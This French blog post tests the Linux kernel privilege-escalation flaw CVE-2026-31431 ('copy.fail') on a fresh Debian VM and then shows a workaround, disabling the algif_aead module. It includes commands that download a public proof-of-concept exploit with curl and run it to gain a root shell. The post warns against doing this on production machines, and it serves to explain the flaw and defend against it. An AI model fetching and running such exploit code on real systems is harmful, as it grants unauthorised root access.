Test de copy.fail et d'un contournement

Stéphane Bortzmeyer
<stephane+blog@bortzmeyer.org>

Première rédaction de cet article le 30 avril 2026

https://www.bortzmeyer.org/copyfail.html

Petit test de la faille de sécurité du noyau Linux copy.fail <https://copy.fail/> (CVE-2026-31431) sur une VM neuve.

La faille CVE-2026-31431 est très sérieuse <https://xint.io/blog/copy-fail-linux-distributions>. Premier avertissement : la sécurité, c'est compliqué et ne croyez donc pas aveuglément ce que j'écris ou ce que vous avez compris de cet article. Deuxième avertissement : les manipulations effectuées dans cet article sont **dangereuses**. Réservées aux adultes consentants.

J'ai créé une VM neuve chez xTom <https://v.ps/>, avec le système Debian 13. Aucune modification de mon côté, c'est une Debian pure.

Le compte normal est `toto`. Il ne peut pas utiliser `su` sans le mot de passe de root :

```
toto@s55486:~$ id
uid=1000(toto) gid=1000(toto) groups=1000(toto),100(users)

toto@s55486:~$ su
Password:
```

On télécharge le POC d'exploitation de la faille :

```
toto@s55486:~$ curl https://copy.fail/exp > copyfail
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   3458      0 --:--:-- --:--:-- --:--:--  3448

toto@s55486:~$ more copyfail
#!/usr/bin/env python3
...
```

On l'examine mais, de toute façon, il est peu compréhensible. On le fait tourner (et je me répète, **ne faites pas ça sur une machine de production !!!**) :

```
toto@s55486:~$ python3 copyfail
# id
uid=0(root) gid=1000(toto) groups=1000(toto),100(users)

toto@s55486:~$ su
#
```

Et voilà, on est root.

Pour empêcher cela, en attendant la disponibilité d'un noyau réparé (pas encore sur Debian <https://security-tracker.debian.org/tracker/CVE-2026-31431>), on désactive le module noyau bogué :

```
root@s55486 ~ # echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
root@s55486 ~ # rmmod algif_aead
```

On répare l'exécutable su, à partir d'une autre machine Debian et on teste le POC :

```
toto@s55486:~$ python3 copyfail
Traceback (most recent call last):
  File "/home/toto/copyfail", line 9, in <module>
    while i<len(e):c(f,i,e[i:i+4]);i+=4
                   ~^^^^^^^^^^^^^^^
  File "/home/toto/copyfail", line 5, in c
...
FileNotFoundError: [Errno 2] No such file or directory


toto@s55486:~$ su
Password:
```

Et voilà, on est normalement en sécurité. C'est par exemple ce qu'a fait NLNOG sur les machines du RING <https://mastodon.nl/@nlnogring/116492589638301361>.

Alain Thivillon me dit que sur les systèmes d'exploitation Red Hat comme Fedora le module est lié statiquement au noyau et il faut redémarrer avec ça <https://www.openwall.com/lists/oss-security/2026/04/30/2> sur la ligne de commande du noyau :

```
initcall_blacklist=algif_aead_init
```